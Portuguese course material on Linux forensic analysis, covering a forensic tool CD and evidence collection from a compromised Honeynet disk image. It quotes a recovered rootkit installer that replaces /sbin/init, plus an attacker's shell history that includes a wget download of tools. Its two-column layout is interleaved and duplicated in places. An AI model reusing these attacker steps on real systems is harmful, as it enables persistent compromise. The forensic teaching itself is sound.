# foremost -o /data/foremost -c /data Invocation: foremost -o /data/foremost -c /data/
/foremost.conf /data/dev_sda2_root.img.dls foremost.conf /data/dev_sda2_root.img.dls
Processing: /data/dev_sda2_root.img.dls
# ls /data/foremost Output directory: /data/foremost
audit.txt htm jpg Configuration file: /data/foremost.conf
---------------------------------------------------
---------------
File: /data/dev_sda2_root.img.dls
Start: Mon Jan 14 21:03:44 2008
Length: 49 MB (52106240 bytes)
Num Name (bs=512) Size File Offset Comment
0: 00000422.jpg 77 KB 216260
1: 00000482.jpg 46 KB 247042
2: 00000679.jpg 2 KB 348009

CD de ferramentas
CD de ferramentas

Durante uma investigao, importante que o investi-


Deve-se criar ou utilizar um CD com ferramentas teis
ao trabalho do investigador. gador tenha em mos todas as ferramentas necess-
O Live CD do Helix uma boa opo, mas caso o seu rias para o seu trabalho.
trabalho seja exclusivamente realizar investigaes de
incidente, voc deveria pensar em criar seu prprio
CD de ferramentas. necessrio compilar estaticamente todas as ferra-
A primeira coisa que deve existir em um CD de mentas do CD, para evitar o comprometimento por
ferramentas forenses um interpretador de comandos binrios ou bibliotecas suspeitas.
confivel.

CD de ferramentas

Alm de um interpretador de comandos, o CD deve


conter as seguintes ferramentas:
Todas as ferramentas bsicas vistas anteriormente.
Todas as ferramentas do pacote forense escolhido.
Ferramentas bsicas do sistema:
ls, cp, mv, rm, chroot, cat, less, more, chmod, chown, chgrp,
date, df, du, cut, sort, strip, tail, head, ln, arp, echo, env,
hostname, id, ifconfig, pwd, touch, uniq, uptime, wc, who.
Ferramentas de manipulao e compilao de objetos:
cc, ld, nm, ldd, addr2line, ar, as, gprof, objcopy, objdump,
ranlib.

Anlise forense Sesso de aprendizagem 3


67

Concluses
Concluses

Na prxima sesso conheceremos as tcnicas para


O sistema operacional utilizado pelo investigador
precisa ser flexvel e confivel. coleta de evidncias a partir da imagem do disco
Deve dispor de ferramentas bsicas que auxiliem na de uma mquina comprometida. Apesar desta ser a
tarefa de analisar dezenas de gigabytes de dados. parte mais demorada do processo, veremos que as
A utilizao de um pacote de ferramentas forenses tcnicas so simples e de fcil execuo.
indispensvel.
Todas as ferramentas utilizadas devem estar
disponveis em um CD, compiladas estaticamente e
prontas para utilizao em qualquer situao.

Ambiente e ferramentas de anlise forense (parte 2)


68
Escola Superior de Redes RNP

Anlise forense Sesso de aprendizagem 3


3
Sesso de aprendizagem 3
Ambiente e ferramentas de anlise
forense (parte 2)
Roteiro de atividades
Tpicos e conceitos

\\Utilizaode comandos do sistema operacional e do pacote forense de


ferramentas.

Competncias tcnicas desenvolvidas

\\Encontrar arquivos escondidos no disco e verificar o seu contedo

Outras competncias desenvolvidas

\\Capacidade de investigao e pesquisa do aluno.

Tempo previsto para as atividades

\\90-110 minutos
70
Escola Superior de Redes RNP

Atividade 1 Investigando o disco

Existe um arquivo escondido em algum lugar no diretrio /data, sobre o


qual no se sabe nada. O aluno, sozinho ou com um colega, deve utilizar
somente as ferramentas bsicas vistas nessa sesso para encontrar o
arquivo, e sem execut-lo, descobrir suas funcionalidades. O aluno deve
preparar um relatrio explicando os comandos que utilizou para
encontrar o arquivo e para analisar seu contedo de modo a descobrir
suas funcionalidades. O relatrio deve conter o hash do arquivo, tipo,
nome e diretrio local onde foi encontrado, bibliotecas utilizadas e
qualquer informao extra que julgue importante para identificar o
arquivo. Existe algum arquivo no sistema do Helix que tenha a mesma
assinatura desse arquivo? Se encontrar um arquivo com mesmo hash,
inclua isso em seu relatrio. Discuta com seus colegas as tcnicas,
dificuldades e solues encontradas neste exerccio. (Guarde 15 minutos
para discusso com os demais alunos.)

Atividade 2 Uso do Sleuth Kit

1. Utilizando as ferramentas do Sleuth Kit, recupere todos os arquivos


removidos da imagem disponvel em /data/dev_sda2_root.img.
Primeiramente preciso encontrar esses arquivos, e depois recuper-los.
Faa um relatrio com as ferramentas e os passos utilizados para a
realizao dessa tarefa. Compare tambm os arquivos recuperados com
os arquivos existentes no Live CD do Helix.

2. Junto com um colega, encontre e recupere os arquivos presentes na


imagem /data/dev_sda2_root.img que contm o texto know what to do
with. Isso deve ser feito sem montar a imagem, apenas utilizando as
ferramentas do Sleuth Kit. Faa um relatrio com os passos e
ferramentas necessrias, e discuta com seus colegas as tcnicas que
poderiam ser utilizadas caso voc tivesse acesso ao dispositivo montado,
isto , se fosse possvel montar o dispositivo original em um diretrio e
voc tivesse acesso direto aos arquivos, que tcnicas poderiam ser
utilizadas para realizar a tarefa? Discuta o resultado com outros grupos.

Anlise forense Sesso de aprendizagem 3


4
Sesso de aprendizagem 4
Coleta de evidncias

Sumrio da sesso

Coleta de evidncias. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 72

Sistema comprometido. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 72

Tipos de evidncias . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 72

Primeiros passos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 73

Armazenagem de evidncias. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 75

Tcnicas de coleta. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 76

Arquivos de logs. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 77

Arquivos de inicializao do sistema . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 78

Arquivos de histrico de comandos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 80

Checando arquivos importantes do sistema . . . . . . . . . . . . . . . . . . . . . . . . . . . 81

Concluses . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 81

Roteiro de atividades . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 83

Atividade 1 Coletando evidncias . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 84


72
Escola Superior de Redes RNP

Coleta de evidncias
Coleta de evidncias

importante tentar recuperar qualquer programa ou


A anlise forense de mdias tem o objetivo de
recuperar evidncias que comprovem a invaso do arquivo de dados instalado ou utilizado pelo invasor.
computador analisado.
O investigador deve ser imparcial em seu julgamento A inteno da anlise forense no comprovar a
e na coleta de provas.
culpa de algum. O investigador deve ser imparcial
O processo de coleta de evidncias demorado e
varia de caso para caso. em seu julgamento e na coleta de provas. Em alguns
Vamos nos concentrar em conhecer as evidncias casos, to importante comprovar a inocncia
importantes e a forma de recuper-las do disco, para quanto a culpa de algum.
depois analis-las e tentar montar uma linha de tempo
do ataque.
Em alguns casos especficos, ser necessria uma
anlise mais avanada de alguma evidncia. Por
exemplo, realizar a engenharia reversa de algum executvel suspeito encontrado
na mquina comprometida.

Sistema comprometido Sistema comprometido

Utilizaremos um modelo virtual de um sistema comprometido, No material do aluno existe uma mquina virtual
utilizado no Scan Of The Month 29 do projeto Honeynet. chamada Linux, que pode ser utilizada para testar
Esta mquina virtual foi parada em um momento especfico
aps a invaso, para que fosse possvel analisar o sistema o procedimento de coleta da imagem do disco do
como se estivesse utilizando a mquina. sistema comprometido. Alm disso, a mquina virtual
Como esta mquina virtual antiga, as verses mais novas do
VMWare no conseguem mais abri-la.
original do Scan of the Month 29 est disponvel, e
Por isso, vamos utilizar uma outra mquina virtual, configurada chama-se linux-suspended.tgz.
para usar o disco da mquina antiga.
Dessa forma, poderemos acessar o disco com um Live CD do
Helix, e capturar uma imagem do disco. Esta mquina virtual do SOTM29 foi utilizada como
essa imagem que vamos analisar nas prximas sesses. exemplo no trabalho de certificao para o SANS de
um tcnico da RNP, Jacomo D. B. Piccolini. Este tra-
balho ilustra muito bem o modo de realizar a anlise
forense em um sistema vivo. Como a quantidade de evidncias encontradas nessa
mquina muito grande, no iremos procurar exaustivamente por elas.

Nos exerccios que veremos ao longo da sesso, mostraremos alguns exemplos


de evidncias que podem ser encontradas, embora fique a cargo do aluno pesqui-
sar o resultado dos exemplos e tentar identificar mais evidncias.

Tipos de evidncias
Tipos de evidncias

Qualquer tipo de informao encontrada na mquina


suspeita pode ser considerado uma evidncia.
Arquivos de logs
Arquivos apagados
Histricos de comandos
Binrios comprometidos
Arquivos em diretrios suspeitos
Arquivos abertos no momento da coleta inicial de
evidncias
Dados importantes que possam ter sido comprometidos
Datas de acesso, de modificao e de criao de arquivos

Anlise forense Sesso de aprendizagem 4


73

Primeiros passos

Esta a imagem da tela do sistema aps ter sido


comprometido e antes de ser parado para anlise.
Note a presena de informaes importantes, como o
sistema operacional utilizado, a data em que o sistema
foi parado e as mensagens que aparecem na imagem,
como por exemplo as mensagens informando que a
interface de rede entrou em modo promscuo.

Uma informao que queremos manter so os times-


tamps de escrita e montagem do disco. Se montar-
mos a imagem sem a preocupao de proteger as
Um bom ponto evidncias, elas sero perdidas e isto pode prejudicar a investigao.
de partida so as
informaes coletadas Entretanto, ao executar este comando percebemos que ocorre um erro e a ima-
durante o momento da gem no montada. Aparentemente, o processo de desligar a mquina sem desligar
captura do computador o sistema operacional corretamente acabou prejudicando a estrutura do disco. Este
comprometido. tipo de situao pode ocorrer com freqncia em uma investigao, onde o investiga-
dor tem que escolher entre prejudicar uma evidncia ou ter acesso a mais evidncias.

O que precisamos fazer agora arrumar a imagem


Primeiros passos
do dispositivo. Existem duas maneiras de fazer isso:
Para comear a procurar por evidncias na imagem do disco comprometido,
utilizando o comando fsck para fixar os problemas
ser necessrio ter acesso ao sistema de arquivos dessa imagem.
do disco ou simplesmente montando a imagem em
importante sempre manter a integridade de todas as evidncias.
# mkdir /mnt/image
modo de leitura e escrita.
# mount /data/compromised/compromised_hda1.img /data/hda1.img /mnt/image o
ro,loop,noatime,nodev,noexec t ext2
# fsstat /data/compromised/compromised_hda1.img | less
FILE SYSTEM INFORMATION
Antes de tentar recuperar o acesso a imagem, precisa-
--------------------------------------------
File System Type: Ext3
mos salvar as informaes que sero perdidas. Quando
Volume Name: / montamos um dispositivo, o kernel do sistema operacio-
Volume ID: 45ba545b90872295d7113db68ac3de0b
Last Written at: Sat Aug 9 15:34:26 2003 nal atualiza os tempos de ltima escrita e de ltima data
Last Checked at: Mon Jul 14 14:52:13 2003
Last Mounted at: Sat Aug 9 15:34:26 2003 de montagem do mesmo. Precisamos salvar essas infor-
maes antes de prosseguir. Lembre-se de que temos
uma ferramenta que pode ser muito til, o fsstat.

# fsstat /data/compromised/compromised_hda1.img | less8


FILE SYSTEM INFORMATION
--------------------------------------------
File System Type: Ext3
Volume Name: /
Volume ID: 45ba545b90872295d7113db68ac3de0b
Last Written at: Sat Aug 9 15:34:26 2003
Last Checked at: Mon Jul 14 14:52:13 2003
Last Mounted at: Sat Aug 9 15:34:26 2003
Unmounted properly
Last mounted on:
Source OS: Linux
Dynamic Structure
Compat Features: Journal,
InCompat Features: Filetype, Needs Recovery,
Read Only Compat Features: Sparse Super,

Coleta de evidncias
74
Escola Superior de Redes RNP

CONTENT INFORMATION
--------------------------------------------
Block Range: 0 - 235515
Block Size: 4096
Free Blocks: 144419

Temos algumas informaes importantes no resultado acima. Primeiramente,


vemos as datas de modificao da imagem. Podemos ver que a data em que o
dispositivo foi escrito pela ltima vez igual data em que ele foi montado pela
ltima vez. Como esta era a raiz do sistema, esta data de modificao pode
indicar a data em que o sistema foi ligado pela ltima vez. Se compararmos com
a data mostrada na foto do monitor da mquina, vemos que ela foi provavelmente
ligada s 15:34:26 do dia 9 de agosto de 2003, e o sistema foi desligado para
coleta do disco em 10 de agosto de 2003, s 20:30:39, ou seja, no dia seguinte.
Estas datas so importantes para delimitar o perodo em que o invasor poderia
ter tido acesso mquina.

Podemos ver tambm na sada do comando que o tamanho do bloco de dados


de 4096 bytes. Vamos utilizar essa informao posteriormente com as ferramen-
tas do Sleuth Kit.

# mkdir /mnt/image8

# mount /data/compromised/compromised_hda1.img /mnt/image o ro,loop,noatime,


nodev,noexec t ext28

# fsstat /data/compromised/compromised_hda1.img | less8


FILE SYSTEM INFORMATION
--------------------------------------------
File System Type: Ext3
Volume Name: /
Volume ID: 45ba545b90872295d7113db68ac3de0b
Last Written at: Sat Aug 9 15:34:26 2003
Last Checked at: Mon Jul 14 14:52:13 2003
Last Mounted at: Sat Aug 9 15:34:26 2003

No primeiro exemplo, realizamos uma procura por


Primeiros passos
arquivos modificados a partir de uma data determinada.
Algumas ferramentas do sistema podem ser usadas na
investigao, e muitas vezes so essenciais para o trabalho. O segundo mostra como procurar por arquivos alte-
A coleta de evidncias um processo cclico. Cada evidncia
rados a partir da data de modificao de um arquivo
encontrada leva a novas pistas e o processo deve ser
reiniciado com as novas informaes. qualquer, para descobrir modificaes e acessos
# find /mnt/image atime 1825 or mtime 1825 posteriores.
# find /mnt/image/ -anewer /mnt/image/bin/date ls
# find /mnt/image/dev/ -not -type c and -not -type b ls
# file /mnt/image/dev/ttyop O terceiro mostra como procurar por tipos especfi-
# strings /mnt/image/dev/ttyop cos de arquivos.

Os dois ltimos comandos mostram como identificar o


contedo de um arquivo e visualiz-lo de forma segura.

# find /mnt/image atime 1825 or mtime 18258

# find /mnt/image/ -anewer /mnt/image/bin/date ls8

Anlise forense Sesso de aprendizagem 4


75

# find /mnt/image/dev/ -not -type c and -not -type b ls8

# file /mnt/image/dev/ttyop8

# strings /mnt/image/dev/ttyop8

Armazenagem de evidncias
Armazenagem de evidncias

necessrio manter uma cadeia de custdia das


Armazenar evidncias de forma segura e padronizada:
Garante a integridade das mesmas. evidncias encontradas. Para isso, precisamos identi-
Permite recuperar e correlacionar de forma fcil as ficar e armazenar cada evidncia de forma segura e
evidncias. de modo que seja possvel identificar rapidamente a
Mantm a cadeia de custdia das evidncias, procedncia de cada uma. Para isso, vamos usar um
permitindo o controle do acesso a elas.
sistema de fichas para cada evidncia encontrada.
O local de armazenagem deve ser seguro e ter acesso
controlado.
Veja os detalhes que guardamos em cada ficha. O
primeiro campo uma tag nica de identificao,
para podermos referenciar cada evidncia posterior-
mente. interessante criar essa tag com referncia
data e hora em que ela foi encontrada, ou a data e
Armazenagem de evidncias hora de criao do arquivo.

tag# 20080118-1750-txt-0001
Temos tambm informaes sobre o arquivo em si.
Tipo Arquivo de texto Nome, tipo do arquivo, tamanho e data de criao,
Nome /mnt/image/dev/ttyop
uma descrio do que o arquivo e o hash SHA1 do
SHA1 hash 2a7badc291e94f3dcb621c0b7abf100eb0ad88cd
Tamanho 74 bytes mesmo. Com isso, teremos informaes suficientes
Data 2002/03/18
para identificar e referenciar o arquivo em um rela-
Descrio Arquivo com nomes de processos/arquivos
Observaes Relacionado com evidncias 20040907-1750- trio, bem como garantir que o arquivo estar to
txt-0002 e 20040907-1750-txt-0003
ntegro como no momento em que foi encontrado.

Armazenagem de evidncias

tag# 20080118-1750-txt-0002
Tipo Arquivo de texto
Nome /mnt/image/dev/ttyoa
SHA1 hash fe3b2e77710875617dee295e1f880b
9fcc4d9300
Tamanho 134 bytes
Data 2002/09/04
Descrio Arquivo com endereos de
rede/portas
Observaes

Coleta de evidncias
76
Escola Superior de Redes RNP

Tcnicas de coleta Tcnicas de coleta

Utilizar inicialmente as ferramentas do sistema para Os exemplos de comandos mostram diversas formas
encontrar pistas valiosas. de procurar por evidncias em disco:
# find /mnt/image -name .\*
# find /mnt/image name [ ]*.*
# find /mnt/image -name .\*8
# strings -a -n4 /data/compromised/compromised_hda1.img
# grep E [0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3} # find /mnt/image name [ ]*.*8
/data/compromised/compromised_hda1.img.str
# grep -i ttyoa
/data/compromised/compromised_hda1.img.str
# strings -a -n4 /data/compromised/compromised_hda1
# grep tar\.gz
.img8
/data/compromised/compromised_hda1.img.str
# grep -f /data/dirt_list.txt # grep E [0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9
/data/compromised/compromised_hda1.img.str
]{1,3} /data/compromised/compromised_hda1.img.str8

# grep -i ttyoa /data/compromised/compromised_hda


1.img.str8

# grep tar\.gz /data/compromised/compromised_


hda1.img.str8

# grep -f /data/dirt_list.txt /data/compromised/


compromised_hda1.img.str8

\\O primeiro exemplo de comando procura por arquivos que comecem com um
ponto, que no Linux correspondem a arquivos escondidos (atributos hidden,
como no DOS). Eles podem ser importantes para encontrar arquivos que
normalmente no so mostrados em um ls l.

\\O segundo exemplo de comando procura por arquivos que tenham um


nome com um ou mais espaos. Estes arquivos so difceis de encontrar se
fizermos uma listagem em um diretrio com muitos arquivos.

\\O terceiro exemplo de comando extrai da imagem do dispositivo todas as


strings com mais de 4 caracteres.

\\O quarto comando mostra como procurar por endereos IP no arquivo de strings.

\\O comando seguinte mostra um exemplo de arquivo suspeito, e o modo como


procurar na imagem por referncias a este arquivo.

\\O penltimo exemplo mostra como procurar por referncias a arquivos


compactados na imagem, importante para descobrir pacotes de ferramentas
instaladas pelo hacker.

\\O ltimo exemplo mostra como utilizar uma dirt list para realizar uma procura
na imagem por palavras-chave.

Anlise forense Sesso de aprendizagem 4


77

# ls la /mnt/image/var/log8
Tcnicas de coleta
# more /mnt/image/var/log/boot.log8
Analisar os arquivos de sistema, logs, binrios,
# more /mnt/image/var/log/secure8
inicializao e histricos de comandos.
Verificar dados importantes armazenados em disco. # more /mnt/image/var/log/maillog8

# ls la /mnt/image/var/log
# find /mnt/image -name \*.log8
# more /mnt/image/var/log/boot.log
# more /mnt/image/var/log/secure
# more /mnt/image/etc/opt/psybnc/log/psybnc.log8
# more /mnt/image/var/log/maillog
# find /mnt/image -name \*.log # cat /mnt/image/usr/lib/libice.log8
# more /mnt/image/etc/opt/psybnc/log/psybnc.log
# cat /mnt/image/usr/lib/libice.log
Os arquivos de log so importantes, pois contm
informaes de tempo sobre os eventos ocorridos
na mquina, podendo ser relacionados a fontes
externas como logs de roteadores e firewalls. No
entanto, importante no confiar somente no log.

Nos exemplos, diversos arquivos de log de interesse para a investigao e o modo


de procurar por mais logs no sistema. Tambm podemos ver alguns arquivos de log
abandonados pelo hacker.

Algumas vezes, a invaso feita apenas para comprometer cdigos-fonte ou banco


de dados armazenados na mquina.

Arquivos de logs
Arquivos de logs
A anlise de arquivos de logs um passo importante
A anlise de arquivos de logs um passo importante
na anlise forense, embora nunca se deva confiar
na anlise forense, embora nunca se deva confiar
totalmente em um log. totalmente em um log. s vezes, at mesmo a falta
s vezes, at mesmo a falta de alguma informao em de alguma informao em um log pode ser uma
um log pode ser uma evidncia importante. evidncia importante. O investigador deve procurar
O investigador deve procurar todos os arquivos de
todos os arquivos de logs armazenados em disco.
logs armazenados em disco.
importante tentar correlacionar os logs com outros
eventos: data de criao/acesso/remoo de arquivos, importante tentar correlacionar os logs com outros
outros logs, eventos capturados em dispositivos de eventos: data de criao/acesso/remoo de arqui-
rede etc.
vos, outros logs, eventos capturados em dispositivos
de rede etc.

O investigador deve procurar todas as informaes pertinentes que estejam relacio-


nadas a uma evidncia, e lembrar de correlacionar eventos nos logs com evidncias
encontradas anteriormente. Sempre que encontrar novas evidncias, deve retomar
o processo de procura de evidncias utilizando as novas informaes encontradas.

Coleta de evidncias
78
Escola Superior de Redes RNP

Logs de e-mail podem fornecer boas pistas:


Arquivos de logs
# more maillog8
Logs de e-mail podem fornecer boas pistas Aug 10 14:14:01 localhost sendmail[4768]: h7ALE1t04
# more maillog
763: to=jijeljijel@yahoo.com, ctladdr=apache (48/48
Aug 10 14:14:01 localhost sendmail[4768]: h7ALE1t04763: to=jijeljijel@yahoo.com,
ctladdr=apache (48/48), delay=00:00:00, xdelay=00:00:00, mailer=esmtp, pri=31300, ), delay=00:00:00, xdelay=00:00:00, mailer=esmtp, p
relay=mx1.mail.yahoo.com. [64.157.4.78], dsn=2.0.0, stat=Sent (ok dirdel)
ri=31300, relay=mx1.mail.yahoo.com. [64.157.4.78], d
Aug 10 15:37:40 localhost sendmail[23320]: h7AMUUn23300: to=newptraceuser@yahoo.com,
ctladdr=apache (48/48), delay=00:07:10, xdelay=00:07:10, mailer=esmtp, pri=30043, sn=2.0.0, stat=Sent (ok dirdel)
relay=mx4.mail.yahoo.com. [216.136.129.6], dsn=2.0.0, stat=Sent (ok dirdel)
Aug 10 15:42:31 localhost sendmail[23331]: h7AMUVC23321: to=newptraceuser@yahoo.com, Aug 10 15:37:40 localhost sendmail[23320]: h7AMUUn2
ctladdr=apache (48/48), delay=00:12:00, xdelay=00:12:00, mailer=esmtp, pri=30043,
relay=mx4.mail.yahoo.com. [216.136.129.17], dsn=4.0.0, stat=Deferred: Connection
3300: to=newptraceuser@yahoo.com, ctladdr=apache (4
timed out with mx4.mail.yahoo.com. 8/48), delay=00:07:10, xdelay=00:07:10, mailer=esmt
Aug 10 15:43:43 localhost sendmail[25659]: h7AMWXH25629:
to=skiZophrenia_siCk@yahoo.com, ctladdr=root (0/0), delay=00:11:10, xdelay=00:11:10,
p, pri=30043, relay=mx4.mail.yahoo.com. [216.136.12
mailer=esmtp, pri=38198, relay=mx4.mail.yahoo.com. [216.136.129.6], dsn=5.0.0, 9.6], dsn=2.0.0, stat=Sent (ok dirdel)
stat=Service unavailable
Aug 10 15:43:43 localhost sendmail[25659]: h7AMWXH25629: h7AMhhG25659: DSN: Service Aug 10 15:42:31 localhost sendmail[23331]: h7AMUVC2
unavailable
3321: to=newptraceuser@yahoo.com, ctladdr=apache
Aug 10 16:34:50 localhost sendmail[15194]: h7AMUVC23321: to=newptraceuser@yahoo.com,
ctladdr=apache (48/48), delay=01:04:19, xdelay=00:00:00, mailer=esmtp, pri=120043, (48/48), delay=00:12:00, xdelay=00:12:00, mailer=es
relay=mx2.mail.yahoo.com. [64.156.215.5], dsn=2.0.0, stat=Sent (ok dirdel)
mtp, pri=30043, relay=mx4.mail.yahoo.com. [216.136.
129.17], dsn=4.0.0, stat=Deferred: Connection timed
out with mx4.mail.yahoo.com.
Aug 10 15:43:43 localhost sendmail[25659]: h7AMWXH25629: to=skiZophrenia_siCk@y
ahoo.com, ctladdr=root (0/0), delay=00:11:10, xdelay=00:11:10, mailer=esmtp, pr
i=38198, relay=mx4.mail.yahoo.com. [216.136.129.6], dsn=5.0.0, stat=Service una
vailable
Aug 10 15:43:43 localhost sendmail[25659]: h7AMWXH25629: h7AMhhG25659: DSN: Ser
vice unavailable
Aug 10 16:34:50 localhost sendmail[15194]: h7AMUVC23321: to=newptraceuser@yahoo.
com, ctladdr=apache (48/48), delay=01:04:19, xdelay=00:00:00, mailer=esmtp, pri
=120043, relay=mx2.mail.yahoo.com. [64.156.215.5], dsn=2.0.0, stat=Sent (ok dir
del)

Neste exemplo de log observamos diversas evidncias sobre a invaso do sistema: o


arquivo de log de envio de e-mail e diversos e-mails enviados para usurios externos.

Alm dos endereos externos de e-mail, que podem ser uma indicao de pista do
invasor da mquina, temos tambm a informao do usurio local que enviou o e-mail.
Repare que nos primeiros casos, temos o usurio apache com UID 48 enviando
o e-mail, e a seguir temos o usurio root com UID 0 enviando e-mail, o que pode
ser uma indicao do momento em que ocorreu a invaso e o comprometimento do
sistema, com a obteno do acesso de super usurio pelo invasor.

Constatamos tambm que possivelmente o ataque ocorreu atravs do servio HTTP.

Arquivos de inicializao do sistema


Arquivos de inicializao do sistema

Normalmente, ao invadir uma mquina o atacante tenta


Ao invadir uma mquina, o atacante tenta garantir o
controle do sistema atravs da instalao de rootkits garantir o controle do sistema atravs da instalao
ou ferramentas de backdoor. de rootkits ou ferramentas de backdoor. Para isso,
Para isso, ser necessrio modificar os arquivos de ser necessrio modificar os arquivos de inicializao
inicializao da mquina, ou ento substituir
executveis do sistema por verses comprometidas da mquina, ou ento substituir executveis do sistema
com backdoors. por verses comprometidas com backdoors.
Os arquivos utilizados variam dependendo do tipo de
sistema que estiver sendo utilizado.
Os arquivos utilizados variam dependendo do tipo
de sistema que estiver sendo utilizado; normalmente
so nomeados /etc/rc.* ou /etc/rc.d/*. Dois arquivos
normalmente utilizados:

Anlise forense Sesso de aprendizagem 4


79

\\rc.sysinit (/etc/rc em distribuies Debian)

\\/etc/rc.local

Muitas vezes, arquivos de inicializao podem conter comandos para controlar o sis-
tema aps reiniciar a mquina, fornecendo pistas de onde procurar por mais evidncias.

No exemplo, encontramos o arquivo de instalao de um rootkit:

# find /mnt/image/ -name inst8


/mnt/image/usr/lib/perl5/5.6.0/ExtUtils/inst
/mnt/image/lib/.x/inst

# file /mnt/image/lib/.x/inst8
/mnt/image/lib/.x/inst: Bourne-Again shell script text executable

# cat /mnt/image/lib/.x/inst8
#!/bin/bash
D=/lib/.x
H=13996
mkdir -p $D; cd $D
echo > .sniffer; chmod 0622 .sniffer
echo -n -e \037\213\010\010\114\115\016\076\002\003\163\153\000\355\175\177\17
0\
...
\313\233\330\157\000\000 | gzip -d > sk
chmod 0755 sk; if [ ! -f /sbin/init${H} ]; then cp -f /sbin/init /sbin/init${H};
fi; rm -f /sbin/init; cp sk /sbin/init
echo Your home is $D, go there and type ./sk to install
echo Have phun!

# find /mnt/image/ -name inst8


/mnt/image/usr/lib/perl5/5.6.0/ExtUtils/inst
Arquivos de inicializao do sistema /mnt/image/lib/.x/inst

# file /mnt/image/lib/.x/inst8
No exemplo, encontramos o arquivo de instalao de
um rootkit /mnt/image/lib/.x/inst: Bourne-Again shell script
text executable
# find /mnt/image/ -name inst
/mnt/image/usr/lib/perl5/5.6.0/ExtUtils/inst
/mnt/image/lib/.x/inst
# cat /mnt/image/lib/.x/inst8
# file /mnt/image/lib/.x/inst
/mnt/image/lib/.x/inst: Bourne-Again shell script text executable #!/bin/bash
# cat /mnt/image/lib/.x/inst
#!/bin/bash D=/lib/.x
D="/lib/.x"
H="13996" H=13996
mkdir -p $D; cd $D
echo > .sniffer; chmod 0622 .sniffer mkdir -p $D; cd $D
echo -n -e "\037\213\010\010\114\115\016\076\002\003\163\153\000\355\175\177\170\
...
\313\233\330\157\000\000" | gzip -d > sk
echo > .sniffer; chmod 0622 .sniffer
chmod 0755 sk; if [ ! -f /sbin/init${H} ]; then cp -f /sbin/init /sbin/init${H}; fi; rm -f
/sbin/init; cp sk /sbin/init
echo -n -e \037\213\010\010\114\115\016\076\002\00
echo Your home is $D, go there and type ./sk to install 3\163\153\000\355\175\177\170\
echo Have phun!
...
\313\233\330\157\000\000 | gzip -d > sk
chmod 0755 sk; if [ ! -f /sbin/init${H} ]; then cp
-f /sbin/init /sbin/init${H}; fi; rm -f /sbin/init;
cp sk /sbin/init
echo Your home is $D, go there and type ./sk to ins
tall
echo Have phun!

Coleta de evidncias
80
Escola Superior de Redes RNP

Arquivos de histrico de comandos


Arquivos de histrico de comandos

Uma das primeiras providncias tomadas por um Uma das primeiras providncias tomadas por um invasor
invasor ao adquirir o controle de uma mquina tentar ao adquirir o controle de uma mquina tentar apagar
apagar seus rastros.
seus rastros. Por isso, muitas vezes os arquivos de
A maioria dos invasores no tm um conhecimento
profundo do sistema.
logs ou de histrico de comandos so apagados.
Os histricos de comandos so criados pelo shell e
geralmente armazenados em arquivo no fim da sesso. A maioria dos invasores no tm um conhecimento
Muitos invasores esquecem desse detalhe. profundo do sistema, e geralmente no conseguem
Alguns invasores costumam remover o histrico de
comandos e redirecionar o arquivo para o dispositivo
remover todos os seus rastros. Os histricos de
/dev/null comandos so criados pelo shell e geralmente
armazenados em arquivo no fim da sesso. Muitos
invasores esquecem desse detalhe.

Alguns invasores costumam remover o histrico de comandos e redirecionar o


arquivo para o dispositivo /dev/null. Outra forma de procurar por histricos de
comandos tentar encontr-los no arquivo de strings extradas da imagem.

Abaixo observamos alguns exemplos de como procurar por arquivos de histricos


de comandos no sistema, e tambm o modo como eles podem conter informa-
es interessantes sobre as atividades do atacante. Os dados coletados aqui
podem ser teis para procurar novamente por arquivos suspeitos na mquina,
atravs dos comandos estudados at agora.

# find /mnt/image/ -name .*history -ls8


47172 0 lrwxrwxrwx 1 root root 9 Aug 10 2003 /mnt/image/root/.bash_history -> /
dev/null
3188 4 -rw------- 1 root root 235 Aug 10 2003 /mnt/image/.bash_history

# file /mnt/image/.bash_history8
amore/mnt/image/.bash_history: ASCII text

# cat /mnt/image/.bash_history8
id
uptime
./inst
hostname
hostname sbm79.dtc.apu.edu
cd /dev/shm/sc
./install sbm79.dtc.apu.edu
rm -rf /var/mail/root
ps x
cd /tmp
ls -a
wget izolam.net/sslstop.tar.gz
ps x
ps aux | grep apache
kill -9 21510 21511 23289 23292 23302

# grep izolam.net /data/compromised/compromised_hda1.img.str8

Anlise forense Sesso de aprendizagem 4


81

Checando arquivos importantes do sistema


Checando arquivos importantes do sistema
Chkrootkit e ClamAV, disponveis no CD do Helix,
O processo de procurar evidncias manualmente pode
podem ser ferramentas importantes para o investiga-
ser muito demorado e cansativo. Nestes casos, pode
ser mais eficiente utilizar algumas ferramentas para dor encontrar arquivos suspeitos na mquina compro-
facilitar essa pesquisa. metida. Por exemplo, o ClamAV encontrou no sistema
Chkrootkit e um antivrus so um bom auxlio ao a presena de um vrus para Linux chamado Linux/
investigador.
RST.b, que infecta arquivos no diretrio corrente e no
Estas ferramentas podem nos auxiliar a confirmar
informaes que havamos encontrado anteriormente, /bin. Ele tambm abre um backdoor na mquina que
bem como detectar novas evidncias da invaso. pode ser acessado atravs do protocolo EGP.
Um antivrus pode nos ajudar a encontrar evidncias
mais difceis de detectar pelas tcnicas normais.
Este vrus foi instalado quando o invasor executou uma
das ferramentas baixadas aps invadir a mquina, o
que mostra que muitas vezes o invasor no tem noo
Checando arquivos importantes do sistema do que est instalando na mquina, e que ela pode
ficar vulnervel no apenas ao invasor original, mas
Prtica: a outros que tenham acesso a esses backdoors.
Apenas como exerccio, execute o comando abaixo e
veja se acha algo interessante: O arquivo /dev/hdx1 foi criado na instalao do vrus
RST.B no sistema. Ele indica que o usurio que exe-
